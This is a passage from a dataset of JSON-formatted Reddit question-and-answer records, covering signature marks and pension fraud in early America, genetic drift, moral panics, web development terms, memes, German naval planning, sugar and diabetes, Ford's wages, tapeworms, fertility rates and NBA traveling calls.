Maryland records from the Revolutionary era. As you'll see, a couple of the marks look like \"X\"s, but one of them looks like a backward R, another looks like a capital \"I\" with an additional cross through it, another looks like a lowecase \"t\", and still another looks like the letters \"uen\" (or is ite \"ner\"?).\n\nHere is [another example](_URL_3_) from a 1772 contract of indentured servitude. At the bottom, you'll see John Andrews signs with a mark that looks like an X or a T, but right below that is Richard Andrews who makes a mark that looks nothing like an X or T at all.\n\nPerhaps more enlightening is the book *Scandinavian Immigrants in New York, 1630-1674* which contains facsimiles of the marks of many Scandinavian immigrants to New York in its first century of existence. Among them, you'll find the mark of [Bernt Begge](_URL_5_), the mark of [Claes Carstensen](_URL_8_), the mark of [Aertse Vanderbilt](_URL_12_), and the mark of [Jan Pietersen van Holstein](_URL_10_), none of which are a simple \"X\". You'll also find some actual [literate signatures](_URL_0_) in there, too.\n\nRelated, this also somewhat carried over to branding marks, such as the [\"hallmarks\" of goldsmiths](\n_URL_9_) as well as the [earmarks branded onto livestock by farmers](\n_URL_1_). \nThey *could* be simple X's. People tended to avoid this, though, as exemplified above, for exactly the reason you wondered about: identity theft. But the chance of someone's identity being stolen purely out of a simple X as their signature mark was mitigated by having witnesses to whatever document it was that they were signing, who *would* be literate, and would usually be a representative of the government. An example of this comes from *Oaths of Common Law* by Robert Cole, published in 1859. Quoting from [1853 instructions for obtaining legal affidavits](\n_URL_11_) that could be used in English courts of law:\n\n >  \"Where any affidavit is sworn before any Judge or any Commissioner, by any person, who from his or her signature appears to be illiterate, the Judge's Clerk or Commissioner taking such affidavit shall certify or state in the jurat that the affidavit was read in his presence to the party making the same, and that such party seemed perfectly to understand the same, and also that the said party wrote his or her mark or signature in the presence of the Judge's Clerk or Commissioner taking the said affidavit.\"\n\nIn other words, a law clerk or commissioner had to read the legal instructions out loud to the illiterate person, and then witness them signing their mark for the mark to be legal. The clerk would sign their own name on the affidavit as well, indicating they had witnessed the marking. This mitigated the chance of forgery and identity theft, because it would mean that the law clerk/commissioner had conspired in the fraud. If a person was being defrauded, they could then get the witness to back them up that they weren't the person who signed the document. Forgery and identity theft certainly did happen, but usually not often enough to raise a huge concern among the legal authorities to prompt them to enact anything beyond the ordinary safeguards.\n\nAnyway, signing by mark was common enough that the normal safeguards against forgery seemed to be deemed sufficient. As E. Jennifer Monaghan writes in *Learning To Read and Write in Colonial America*:\n\n >  \"No matter what script was used, writing was viewed by everyone, from governors to private individuals, as the single most essential element for authenticating an agreement. Like those who had signed the famous Mayflower Compact in 1620 on board the Mayflower as it sailed toward America, English Americans used quill pens and ink to give their assent to documents. Nonetheless, men and women did not need to know how to form the letters of their names in order to signal their agreement: their mark was as valid as their signature.\"\n\nNonetheless, forgery did happen, but an illiterate person's mark probably wasn't more susceptible than a literate person's signature at the time. As Stuart Hatfield points out in his article [\"Faking It: British Counterfeiting During the American Revolution\"](_URL_6_) for the *Journal of the American Revolution*:\n\n >  \"For the most part [counterfeiting currency and bank notes] was not difficult as many of the advanced security measures that are used today to dissuade such actions were not in use. Even though bank notes had individual handwritten serial numbers and signatures, these were no deterrent as they were easily forged.\"\n\nSo, in fact, signing by mark may have even been safer in a way, because it required a witness, whereas a literate signature could be written with no witness, then forged and passed off without question.\n\nBut back to your specific question about Revolutionary War pensions: forgery definitely was an issue that the government concerned itself with. One famous case involved a man named James Reynolds who paid Revolutionary War veterans in a scheme to steal their pensions, and as insurance against his scheme being discovered, [his wife Maria approached Alexander Hamilton for help](_URL_14_), and seduced him into an affair. The Reynolds then blackmailed Hamilton by threatening to implicate him in the forgery scheme if he went public with his knowledge of what was going on. James Reynolds' scheme was discovered, anyway, and he attempted to exchange information of his wife's affair with Hamilton as a bargaining chip, but it didn't work. Whether Reynolds was targeting illiterate Revolutionary War veterans, or literate, or both, I do not know, but it does reveal that war vets could be victims of forgery and fraud.\n\nAs William Henry Glasson wrote in *Federal Military Pensions in the United States* [about legislation attempting to protect against Revolutionary War pension fraud](_URL_2_):\n\n >  \"There was a widespread feeling that the pension system had an important influence in lowering the moral tone and lessening the independence of large numbers of citizens. In many cases pension frauds were discovered which involved criminal acts of a grave character on the persons who had been respected and trusted. There were indications that many more frauds were committed than came to light.\""]}, "title_urls": [], "selftext_urls": [], "answers_urls": [["https://archive.org/details/scandinavianimmi02evje/page/226", "https://archive.org/details/oldmiscellaneous00dutchess/page/191", "https://books.google.com/books?id=O7Ixc6nY2ngC&amp;pg=PA96", "http://digitalcollections.archives.nysed.gov/index.php/Detail/Object/Show/object_id/41809", "https://books.google.com/books?id=B_TU6NytoFoC&amp;pg=PA58&amp;dq=provided", "https://archive.org/details/scandinavianimmi02evje/page/42", "https://allthingsliberty.com/2015/10/faking-it-british-counterfeiting-during-the-american-revolution/", "https://archive.org/details/lawsofunitedstat00unse/page/358/search/mark", "https://archive.org/details/scandinavianimmi02evje/page/52", "https://archive.org/details/englishgoldsmith00jack/page/114", "https://archive.org/details/scandinavianimmi02evje/page/266", "https://archive.org/details/oathsincommonla00colegoog/page/n19", "https://archive.org/details/scandinavianimmi02evje/page/60", "https://archive.org/details/marylandrecordsc02brum/page/300", "https://books.google.com/books?id=Fl2CDwAAQBAJ&amp;pg=PT7"]]}
{"q_id": "b7svki", "title": "- what caused populations of certain regions of the world to develop, feature like specific nose and eye shapes?", "selftext": "", "document": "", "subreddit": "explainlikeimfive", "url": "https://www.reddit.com/r/explainlikeimfive/comments/b7svki/eli5_what_caused_populations_of_certain_regions/", "answers": {"a_id": ["eju4y8h"], "score": [13], "text": ["Small groups of humans went off to settle new areas, only taking a fraction of the total genetic diversity with them, so each group actually started out with, on average, different traits. Every time some tribe about died off due to famine, disease, etc, they had to restart their population from a small group having a fraction of the genetic diversity. So most of human history is small, relatively isolated groups, reproducing from a different subset of human traits than another group. This results in the descendants of one group of humans having different traits than the descendants of another, even when those traits aren't actually being selected for or against. See Founder Effect and Genetic Drift.   \n\n\nThe human populating of the South Pacific islands is a good study in this. A recent example of how this can play out involves the population of Pingelap atoll in Micronesia. In 1775, a typhoon nearly killed the entire population. One of the survivors, a chief, had a rare form of colorblindness, and now the trait is common among the population, with about 1 in 10 carrying the gene compared to 1 in 30,000 in the rest of the human population. Apply that idea to eye shape, noise shape, hair color, etc, and you see how the differences in appearance arises in different regions, and why, as we become a more globalized society, these difference are disappearing.  \n\n\nOn a somewhat related note, people [tend to rate faces made by averaging many faces as more attractive](_URL_0_), on average, than individual faces. There is evidence that most extreme versions of a facial trait are considered unattractive (think ears that poke out), with only a few extremes (think blue eyes) being considered more attractive. Thus, averaging faces averages away the extremes, which, since most extremes traits are considered less attractive, leads to a more attractive face, though not the most attractive faces. The most attractive are those who managed to end up with several of the rare extreme traits that are judged to be attractive.  \n"]}, "title_urls": [], "selftext_urls": [], "answers_urls": [["http://faceresearch.org/students/averageness"]]}
{"q_id": "10dhfl", "title": "Have there been any historical moral panics?", "selftext": "I think most of us are familiar with 20th Century moral panics - somebody claims that something will essentially bring down the entire social order, that thing is universally condemned, banned or regulated, etc.\n\nAs an example, look at what happened to comic books in the 50s, where some people started to claim that they would lead to murders, homosexuality and other such \"atrocities\". Eventually, some pretty strict pseudo-legal rules on a comic book's content were put in place.\n\nMy question, then, throughout history, have there been any similar incidents? It's especially interesting if the perceived victims were children (as in the comic book case, where the vast majority of comic book readers were, as I understand it, kids) but even if children were not the focus, what's the history of this stuff?", "document": "", "subreddit": "AskHistorians", "url": "http://www.reddit.com/r/AskHistorians/comments/10dhfl/have_there_been_any_historical_moral_panics/", "answers": {"a_id": ["c6cn2qt", "c6cobyz", "c6cq029"], "score": [2, 2, 2], "text": ["The only one that I know of is the [Werther effect](_URL_0_) - I don't think that I have to mention Jazz or Rock'n'Roll.", "One that springs to mind is the [Iconoclasm](_URL_0_) in Byzantium.\n\nCan't come up with others that are strictly moral panics. The witch trials maybe.", "The [trials of Oscar Wilde](_URL_0_) sparked a minor moral panic in 1895 - the press got a lot of salacious copy out of the homosexual subculture that was exposed, whipping up public fear and outrage."]}, "title_urls": [], "selftext_urls": [], "answers_urls": [["http://en.wikipedia.org/wiki/Werther_effect#History"], ["http://en.wikipedia.org/wiki/Byzantine_Iconoclasm"], ["http://en.wikipedia.org/wiki/Oscar_Wilde#Trials"]]}
{"q_id": "34dhp0", "title": "what does back end and front end mean in terms of web development? what is the difference between them?", "selftext": "", "document": "", "subreddit": "explainlikeimfive", "url": "http://www.reddit.com/r/explainlikeimfive/comments/34dhp0/eli5what_does_back_end_and_front_end_mean_in/", "answers": {"a_id": ["cqtmgy8", "cqtnvit"], "score": [10, 3], "text": ["The front end is what the user can see and can interact with. For example if you're driving a car, the \"front end\" is the steering wheel, the seats, the pedals, the gear shift etc.\n\nThe back end is the server that processes the data in the website. If you're driving a car, the \"back end\" is the engine, the wheels, the gearbox and so on.\n\n", "Frontend is stuff that the user sees and uses, for example the upvote button next to my comment. When you click that, the front end will communicate to the backend, the thing that manages all the data, and command it to edit the database entry for my comment. "]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[], []]}
{"q_id": "ae9fxg", "title": "why aren't memes called jokes?", "selftext": "", "document": "", "subreddit": "explainlikeimfive", "url": "https://www.reddit.com/r/explainlikeimfive/comments/ae9fxg/eli5_why_arent_memes_called_jokes/", "answers": {"a_id": ["ednfb0t", "edng0sm", "edngnhm", "ednispe", "ednycyr"], "score": [11, 2, 16, 5, 2], "text": ["Because a meme isn't always a joke. It can be an image, a video, or text, that is then spread rapidly over the internet. \n\nGenerally they're jokes, but isn't always a joke. ", "For the same reason the people that live in the UK are not called Londoners, because some memes are also jokes, but not all memes are jokes, most of them are an image that makes fun of something using a reusable template ", "\"Meme\" originally referred to a concept in memetics, which is a study of how culture evolves.  A meme is a unit of cultural data, much like how a gene is a unit of biological data.  Like genes being passed down to a new generation, memes are passed and propagate through culture; successful ones replicate more often, and may mutate into different forms.\n\nAn example of a meme might be \"giving a high five.\"  The high five started in the 1970s, and quickly \"reproduced\" and spread widely.  It mutated into other gestures, like the fist bump.\n\nBack in the 90s (or earlier), people started using \"meme\" to refer to anything that spreads online in a similar fashion.  A \"meme\" could be a questionnaire which you fill out and then send to your friends for them to fill out; it could be a funny picture you share with your friends; it could be a forum signature.\n\nBy the mid-00s, \"meme\" took on its more specific meaning used today.  They are often jokes, but not always.", "I can be super frustrated by the poor use of the term \"meme\".  The term as originally coined required  it  to replicated culturally - e.g. it had to  have an element of virality that _actually permeates a culture_ to  be called a meme  (e.g. your can't  create a meme, send it to  5  friends and say \"I  created  a meme\").  It's certainly not supposed to  be limited to images with  words over them,  or  even to be something that is humorous.\n\nThe word originates from Dawkins in \"the  selfish gene\" -  a book  from the 70s. (he doesn't really make claim to invention, and does   point to others -  but...he is who we commonly attribute the word).\n\nBut...the point here is that memes aren't jokes, and  aren't even necessarily funny.  The \"meme\" I believe you're thinking of are sometimes not actually memetic  and  when they are,  are only one example  of memes.", "The word meme has two related meanings:\n\n* A visual joke that reuses a specific set of graphic or text elements and also reuses a specific structure.\n* A specific instance of a meme.\n\nFor example:\n\n* The distracted boyfriend is a meme. It's elements are the photo with the woman walking in the foreground, a man turning around to look at her, another woman glaring at the man for having done so, and then some sort of text on top of each of them.\n   * Here the word meme applies to this specific set of elements.\n* A specific version of that meme where the foreground woman has text on her that reads \"iPhone X\", the man has text that reads \"me\" and the glaring woman has text that reads \"credit card\".\n   * Here the word meme applies to a specific instance of the boyfriend meme.\n\nBecause memes are so specific, they have their own names. Humans are lazy, instead of telling someone you saw a good \"internet joke based on a specific pattern of visual and text elements\" you say \"I saw a funny meme\". "]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[], [], [], [], []]}
{"q_id": "a3yt5o", "title": "What are the main paralelisms and differences between today's political landscape in Europe and during the first half of the XXth century?", "selftext": "", "document": "", "subreddit": "AskHistorians", "url": "https://www.reddit.com/r/AskHistorians/comments/a3yt5o/what_are_the_main_paralelisms_and_differences/", "answers": {"a_id": ["eba44re"], "score": [2], "text": ["This submission has been removed because it violates our ['20-Year Rule'](_URL_1_). To discourage off-topic discussions of current events, questions, answers and all other comments must be confined to events that happened 20 years ago or more. For further explanation of this rule, feel free to consult [this Rules Roundtable](_URL_0_)."]}, "title_urls": [], "selftext_urls": [], "answers_urls": [["https://www.reddit.com/r/AskHistorians/comments/45wqkl/rules_roundtable_5_the_current_eventsmodern/", "http://www.reddit.com/r/AskHistorians/wiki/rules#wiki_no_current_events"]]}
{"q_id": "tnhu6", "title": "Why didn't the german high command realize the severe problems regarding Plan Z and the overall problems with the surface navy?", "selftext": "To be honest, this is one of the things that baffle me the most about world war 2. The germans couldn't defeat the british navy in the first world war, and back then their fleet was huge and pretty advanced.\n\nAt the end of the 30s, they still had a relatively small fleet. What was the point of starting a major fleet building program in 1938 in the face of an overwhelmingly superior british navy? Why did they stick so feverishly to the surface fleet, eventhough the U-boots have already proved themselves very effective in world war 1?", "document": "", "subreddit": "AskHistorians", "url": "http://www.reddit.com/r/AskHistorians/comments/tnhu6/why_didnt_the_german_high_command_realize_the/", "answers": {"a_id": ["c4o4e8l", "c4o6616", "c4oas0q", "c4occgk", "c4oecgj"], "score": [17, 6, 2, 2, 3], "text": ["It is difficult to get a man to understand something when his paycheck demands that he not understand it.  The German navy was run by a bunch of admirals, and the more ships an admiral has, the more important he is.  Admirals especially like BIG ships, because, lets face it, big ships are really cool.  Hitler wasn't much interested in ships (he got sea sick), so he basically just asked his admirals to come up with plans for shipbuilding, they produced a plan that involved lots of big ships.  It wasn't until the surface navy [repeatedly embarassed](_URL_0_) itself that Raeder got the boot and Donitz got put in charge, but by then it was far too late.\n\nThat, at least is my explanation.  The kinder, and more theoretical explanation is that at that time command of the sea required surface forces, so if the germans ever wanted free access they would eventually need to build up a surface fleet.  The submarines of the time were simply too slow and fragile to have much chance of success vs. warships.  This view was not exactly wrong, but it missed the point.  Germany was NEVER going to out build the royal navy, so they should never have tried.  But then Tirpitz couldn't seem to learn that lesson either.  I stick by my bureaucratic imperative argument.", "While cassander made some very strong points, I think the real reason Germany didn't have a large surface navy was economic.\n\nGermany in 1938 was not prepared for war in the view of the military hierarchy.  Even after bringing home the Rhineland and absorbing Austria and Bohemia, Germany was still rebuilding from the first world war and the depression.  Once the war began in 39, it became a question of priority, which resources should be allocated to the navy versus the army or air force.\n\nU-boats were a very cost-effective tool for terrorizing shipping in a way that the British had difficulty countering.  The time and resources needed to build ships went to tanks, artillery, and aircraft, especially as the eastern front became all-consuming.\n\nMy suspicion is that had the soviets been forced into a peace treaty of some kind, a massive shipbuilding program would have followed in Germany.  It's much easier to do this with the resources and factories that would have become available to the Reich, especially when replacing the ongoing losses in the east is no longer a factor.\n\nHowever, the navy wasn't entirely free from meddling, the Graf Zeppelin was a prime example of resources allocated and never properly employed.", "1) The effectiveness of U-Boats in WW1 had not been fully assessed. Before the Von Holtzendorff memorandum of 1916, submarines had to still adhere to cruiser warfare; calling on the target ship to surrender before attacking l. This lowered the stealth factor. Another problem with the U-Boats of WW1 were the ineffective and slow torpedoes standard aboard the submarines. The average torpedo had about 50% reliability, and could only travel at 27 knots; not a huge increase on the average battleship's 21 knots. So, the submarine had been a weapon misplayed during WW1, and it's effectiveness could not properly be gauged.\n2) In WW1, Grand Admiral Von Tirpitz had adhered to 'risk theory' before the war; trying to copy the Royal Navy ship for ship instead of trying to beat them. This contributed to limited technological advances, and generally non-amazing ships.\n3) The treaty of Versailles and London Naval treaties limited the sorts of ships the Germans could use. While the Germans breached the treaty with the army, they chose to largely adhere with the baby until late (probably due to lack of money). The Germans saw that they would need a very different type of ship to defeat British Admiral-class cruiser and large QE-class battleships. So, they largely held off with the building of large battleships like the Bismark-class, and instead built Deutchland class cruiser that was APPARENTLY a cruiser, but largely defeated the terms of the London treaty in terms of weight. It appeared that Hitler was cooperating with the testy, but he wasn't. \n4) Lack of money; Germany was broke for a while!", "Hitler himself is said (no hard evidence, as so often the case with quotes) to have uttered:\n\n >  I have a Prussian Army, an Imperial Navy and a national-socialist Air Force.\n\nTraditions were (and are) most heavily present in the Navy - as is often the case in other nations as well, I think. The mainstream opinion was simply that you couldn't have a Blue Water Navy without Battleships. Pearls Harbor was still years away, after all.\n\n[source](_URL_0_) (German)", "I will keep this brief. \n\nBattleships were THE atomic weapons if their age. You could not be taken seriously as a world power without them. "]}, "title_urls": [], "selftext_urls": [], "answers_urls": [["http://en.wikipedia.org/wiki/Battle_of_the_Barents_Sea"], [], [], ["http://books.google.de/books?id=-oJkb4imEJUC&amp;pg=PA273&amp;lpg=PA273&amp;dq=Ich+habe+eine+kaiserliche+Marine+und+eine+nationalsozialistische+Luftwaffe.&amp;source=bl&amp;ots=OV_8leAFXL&amp;sig=ruTU02I1XKmDNMGEuRENW6nPs9s&amp;hl=en&amp;redir_esc=y#v=onepage&amp;q&amp;f=false"], []]}
{"q_id": "14fsni", "title": "Is sugar consumption a risk factor for diabetes, once obesity (or BMI) is controlled for?", "selftext": "As someone who is slim and loves sweets, I'd like to know if I should worry. Links to articles which address this would be appreciated.", "document": "", "subreddit": "askscience", "url": "http://www.reddit.com/r/askscience/comments/14fsni/is_sugar_consumption_a_risk_factor_for_diabetes/", "answers": {"a_id": ["c7cog5e"], "score": [37], "text": ["[This study in JAMA](_URL_1_) found that regular drinking of sugar-sweetened beverages was an independent risk factor for development of diabetes, regardless of BMI:\n >  Greater sugar-sweetened soft drink consumption was strongly associated with progressively higher risk of type 2 diabetes (Table 3). The age-adjusted RR was 1.98 (95% confidence interval [CI], 1.60-2.44) for women consuming 1 or more sugar-sweetened soft drinks per day compared with those consuming less than 1 sugar-sweetened soft drink per month. This association was slightly attenuated after adjustment for lifestyle and dietary confounders (RR for extreme categories, 1.83; 95% CI, 1.42-2.36; P < .001 for trend). The RR for extreme categories further controlling for BMI was 1.39 (95% CI, 1.07-1.76; P = .01 for trend). This finding suggests that BMI accounted for about half of the excess risk. Adjustment for caloric intake in addition to BMI further attenuated the association, but sugar-sweetened soft drinks remained significantly associated with an increased risk of diabetes (RR for extreme categories, 1.32; 95% CI, 1.01-1.73; P = .04 for trend).\n\nInterestingly, [this study in the Archives of Internal Medicine](_URL_0_) found that soft drinks were not independently associated with greater risk of diabetes, while fruit drinks remained so even after controlling for BMI:\n > Adding terms for BMI, which might be in the causal pathway between consumption of sugar-sweetened soft drinks and risk of diabetes, reduced the IRR for 2 or more soft drinks per day to 1.05 (95% CI, 0.90\u20131.23). For fruit drinks, however, the IRRs were essentially unchanged after controlling for BMI; for 2 or more drinks per day, the IRR was 1.33 (95% CI, 1.15\u20131.54). Additional control for total energy intake did not further affect the estimates (IRRs of 1.04 for soft drinks and 1.32 for fruit drinks)."]}, "title_urls": [], "selftext_urls": [], "answers_urls": [["http://www.ncbi.nlm.nih.gov/pmc/articles/PMC2708080/", "http://jama.jamanetwork.com/article.aspx?articleid=199317"]]}
{"q_id": "220idt", "title": "Did Henry Ford actually pay his automobile employees a relatively higher wage than normal? If so could they afford to buy the cars they were making? Did they actually do that or did they spend their money on other things?", "selftext": "", "document": "", "subreddit": "AskHistorians", "url": "http://www.reddit.com/r/AskHistorians/comments/220idt/did_henry_ford_actually_pay_his_automobile/", "answers": {"a_id": ["cgicomt", "cgigj2e"], "score": [259, 10], "text": ["Layman.\n\nThe biggest reason why higher wages were paid by Ford wasn't so that the workers could afford to buy the cars. If this is the reason then why didn't all the companies do it? Not to mention that the American market had millions of people -- and Ford employed just thousands (~14 000 to be excact). Ford didn't employ enough people to make it matter whether the workers buy the car or not. It just doesn't make sense. This \"higher wages to buy cars\" thing is just a legend. \n\nThe real reason was that the job was incredibly monotonous and quite hard -- many workers quit after working there for a short amount of time. Teaching new people to do the work was expensive and took time.\n\n >  Ford\u2019s turnover rate was very high. In 1913, Ford hired more than 52,000 men to keep a workforce of only 14,000. New workers required a costly break-in period, making matters worse for the company. Also, some men simply walked away from the line to quit and look for a job elsewhere. Then the line stopped and production of cars halted. The increased cost and delayed production kept Ford from selling his cars at the low price he wanted. Drastic measures were necessary if he was to keep up this production.\n\nHigher wages kept the people from quitting. In some cases raising wages can reduce the total labour costs.\n\nAlso:\n\n >  The $5-a-day rate was about half pay and half bonus. The bonus came with character requirements and was enforced by the Socialization Organization. This was a committee that would visit the employees\u2019 homes to ensure that they were doing things the \u201cAmerican way.\u201d They were supposed to avoid social ills such as gambling and drinking. They were to learn English, and many (primarily the recent immigrants) had to attend classes to become \u201cAmericanized.\u201d Women were not eligible for the bonus unless they were single and supporting the family. Also, men were not eligible if their wives worked outside the home.\n\n_URL_0_", "I highly recommend reading Fordlandia: _URL_0_\n\nReally good historical analysis that answers exactly the question you're asking. Effectively, Ford paid higher than average wages but also demanded incredible productivity and prescribed a particular lifestyle for his workers in exchange for the pay. There was also very little job security and his factories employed various people whose job it was to keep the employees in line - whatever that took. All of this was taken to the extreme in Fordlandia and it all sort of fell apart - the employees really didn't care what Ford thought they should spend their money on or how they should live their lives."]}, "title_urls": [], "selftext_urls": [], "answers_urls": [["http://www.forbes.com/sites/timworstall/2012/03/04/the-story-of-henry-fords-5-a-day-wages-its-not-what-you-think/"], ["http://www.amazon.com/Fordlandia-Henry-Fords-Forgotten-Jungle/dp/0312429622/ref=sr_1_1?s=books&amp;ie=UTF8&amp;qid=1396471818&amp;sr=1-1&amp;keywords=fordlandia"]]}
{"q_id": "1gq362", "title": "Are tapeworms effected at all if someone ate very spicy food?", "selftext": "I'm just curious, because I'm sure everyone's heard the term 'ring of fire' or had some very hot food one time and kind of regretted it later. I'm wondering if you had a tapeworm whether or not it would even phase them. \n\nDo they have any mechanisms (either always active, or activated when there is high acid levels) to help them survive such circumstances? Because as far as I know, they tend to live most of their lives in the intestines which aren't very acidic (compared to the stomach).", "document": "", "subreddit": "askscience", "url": "http://www.reddit.com/r/askscience/comments/1gq362/are_tapeworms_effected_at_all_if_someone_ate_very/", "answers": {"a_id": ["camnxjv", "camnxyz", "camssjr", "camty0x", "camumyp", "camykcy"], "score": [18, 56, 15, 8, 6, 3], "text": ["capsaicin, one of the key chemicals that makes spicy food spicy, has been indicated variously in the reduction of colon cancer, but I do not believe any studies have shown spicy food to effectively kill tape worms. They do burrow into the intestinal walls, which in addition to keeping them from being easily defecated out may shield them from spicy foods as well.\n\nA good method of testing this which comes to mind would be to ask if the rate of tape worm infection in countries known to eat spicy foods is lower than in countries that do not, controlling for similar sanitation and living standards. I did a quick search on google and some journal databases and didn't find anything scientific, but a layman's look at the statistics of infection in third world countries would seem to not support  hot food as a cure. \n\nIn short, we have medicine that have been clearly proven to kill tape worms effectively - better to use that than relying on hot food.", "Unfortunately not. Spices may have [some effect](_URL_1_) on bacteria, but not so much for tapeworms. A tapeworm burrows into your intestinal wall and absorbs nutrients through its skin as digested food flows past it. Capsaicin won't have much of an effect on these parasites that aren't already affected by the churning froth of digestive enzymes and acid in the intestinal environment. For instance, a tapeworm has a protective outer surface (called a [tegument](_URL_0_) that is replaced continuously. What's even more diabolical is that tapeworms keep alpha-amylase (one of our digestive enzymes) on their surfaces and use it to break down starch.", "The original question seems to be answered, but are there any foods or supplements one could digest that would negatively effect a tapeworm and not the host?", "The effect that capsaicin has is a result of improper stimulation of a pain receptor that senses heat. That is, it is entirely a biochemical effect. It does not actually \"burn\" anything. Since tapeworms probably don't share the same receptors, it probably won't have the same effect on them.", "Capsaicin only affects receptors in mammals, as far as I know.  Birds do not notice it or find it unpleasant.  It's been hypothesized that its evolutionary purpose was to discourage mammals (which don't travel far before crapping) from eating peppers, so that birds (who can travel a very long way before pooping) would eat them instead and disperse the seeds more widely.  If you're having problems with squirrels eating your birdseed, you can put cayenne pepper in with the seed, as it won't bother the birds at all.  \n\nBased on that, I think it's highly unlikely that it would have an effect on an organism as divergent from mammals as a tapeworm.  They are far more distantly related to humans than birds are.", "Many herbs and spices are traditional (and clinically validated) vermifuges. Foremost are garlic and other Alium(1) species, but Thyme(2) has also been a traditional treatment, and some cultures regularly cook with Artemisia(3) species like the aptly-named Wormwood and others.\n\nThey are not very effective just in food-flavoring amounts, but used in focused ways, have kept millions of people healthy for generations.\n\nChili peppers, though, are not very effective for this, so the correlation is not really with \"spiciness\".\n\n1 _URL_2_ \n\n2 _URL_0_\n\n3 _URL_1_\n\nMany more studies exist, if anyone cares to look."]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[], ["http://en.wikipedia.org/wiki/Tegument_(helminth)", "http://www.ncbi.nlm.nih.gov/pubmed/10363839?dopt=Abstract"], [], [], [], ["http://www.ncbi.nlm.nih.gov/m/pubmed/23768565/?i=3&amp;from=vermifuge", "http://www.ncbi.nlm.nih.gov/m/pubmed/23351974/?i=1&amp;from=vermifuge%20artemisia", "http://www.ncbi.nlm.nih.gov/m/pubmed/22957420/?i=2&amp;from=vermifuge%20garlic"]]}
{"q_id": "1p285r", "title": "In the entire history of the human species, what is the average number of per-individual offspring who themselves lived long enough to produce children?", "selftext": "This question stems from the fact that although it used to be far more commonplace to have a high number of children, it was also far more likely that they would die before they were themselves old enough to reproduce. I am curious if the number of children that survived to reproduce in less advanced societies is roughly the same as the number in those more medically advanced, but who had fewer children overall. Another way to phrase this would be, is the average number of offspring individual humans produce, when \"corrected\" for pre-breeding-age-death, constant across the history of the species?", "document": "", "subreddit": "askscience", "url": "http://www.reddit.com/r/askscience/comments/1p285r/in_the_entire_history_of_the_human_species_what/", "answers": {"a_id": ["ccy2dxh", "ccyl7om"], "score": [5, 2], "text": ["Not an expert but from what I can gleam from my anthro major:\n\nThe short answer is no or else population growth would not be seen to accelerate and decelerate across time.  The world population has grown in stops and starts not at a constant rate.  The world population doubling almost twice in the last century is an anomaly in the general population trend caused by modern advances.  Also periods of endemic disease (think Black Plague or European contact with America) can have a dramatic impact on population trends.\n\nFor the first 200,000 years or so, hunter-gather societies spaced children approximately 3 years apart.  Makes sense when you\u2019re on the go.  Around 10,000 years ago, give or take millennia depending on where you are, the advent of agriculture led to the need for more manual labor (i.e. more children) - also less traveling.  However this also had important ramifications.  Closer living meant more infectious disease.  Reliance on agriculture led to (perhaps counter-intuitively) greater malnutrition.  And increased birth rates combined with high maternal mortality rates led to shorter lifespans for women.  But the net result was more kids and more people.\nWhat I cannot answer is the statistic of the question.  The proper formula would have to include differing birthrates, differing mortality rates, and differ lifespans all spread across time, geography, and culture.\n\nLook at today for example.  Modern medicine and farming techniques have enabled tremendous population growth.  Yet across the globe cultures react differently.  The west has decreased its birthrate while the Middle-East has seen a population bubble (to disastrous effect).  Even within the \"West\", this varies from household to household (looking at you Mormons).  Ultimately, birthrates are influenced by any number of factors (disease, lifeway, culture, religion, geography, and climate) and all these thing vary through time and place.\n", "As Malthus realized, the long-term average number of offspring who themselves reproduce must be *very* close to 2 (in which the two parents are replaced by two offspring). The reason is that any value consistently above 2 results in an exponential increase in population size (which is not sustainable -- we'd be miles deep in bodies), whereas any value consistently less than 2 leads to an exponential decrease in population size (i.e., extinction). Even values just slightly above or below 2 lead to dramatic changes in population size over time (assuming the value itself doesn't fluctuate).\n\nThis is true for any sexually reproducing species.\n\nSo yes, in populations with high total fertility (many children) there is often high child mortality, whereas in populations with low total fertility there is often low child mortality; in both cases the average number of offspring who themselves survive to reproduce is close to 2. When those two factors don't balance, the population either grows or declines. In the shorter term, however, changes of population size are commonplace, sometimes growing, sometimes declining. The human population has grown dramatically in the last 10,000 - 20,000 years, for example.\n"]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[], []]}
{"q_id": "6fyhte", "title": "why is traveling not called in nba games?", "selftext": "I've tuned in for a few of the NBA finals games so far this week and one thing has left me confused...why are so many traveling penalties not called in the NBA? Players grab the ball in their hands and take 3-4 steps towards the net and no officials' whistle is blown. Is there any reason why they choose not to call this?", "document": "", "subreddit": "explainlikeimfive", "url": "https://www.reddit.com/r/explainlikeimfive/comments/6fyhte/eli5_why_is_traveling_not_called_in_nba_games/", "answers": {"a_id": ["dim0tq0", "dim4k0s", "dim8akv", "dimhlr4"], "score": [15, 6, 4, 3], "text": ["Over the last 20 years I think the league has slowly been transitioning into making 3 steps the new rule. It makes for more exciting plays. \n\n4 steps gets called more than half the time but sometimes these guys are moving so fast that's it's tough for refs.", "There are a lot of uncalled traveling violations, but that's not all of it. It's partly because a lot more plays now a days that *look* like traveling technically aren't traveling.\n\nPlayers are allowed to take two steps after they \"gather\" the ball. That can mean as much as an extra stride (while they're gathering the ball in) for players who are fast, and that extra stride can be huge for players who are big. You see this often because today's NBA is filled with players who are both big and fast (i.e. LeBron).", "humans aren't robots and it's very easy for a player even at this high level to take extra steps without even realizing it. If refs called every single little thing then the game would get bogged down and become boring / rigid. So there is a lot leeway there by the refs and extra step here or there usually won't get called unless it's super blatant. Sometimes with how fast a game can go and all the crazy maneuvers (like euro steps) given the fact that they get two steps with the ball in hand means that it can just be hard for the refs to see in the first place and they are trained to prioritize things like shooting fouls and what not over the more trivial stuff.", "The NBA traveling rule is less restrictive than the one used in the NCAA and high school, both of which are also poorly understood by the average fan. So it's entirely possible what you think is a travel isn't under NBA rules but would be in NCAA or high school.\n\n(If I had a nickel for every time someone yelled for a travel while a player's pivot foot was in the air over my 20 year refereeing career, I'd be very well off indeed.)"]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[], [], [], []]}
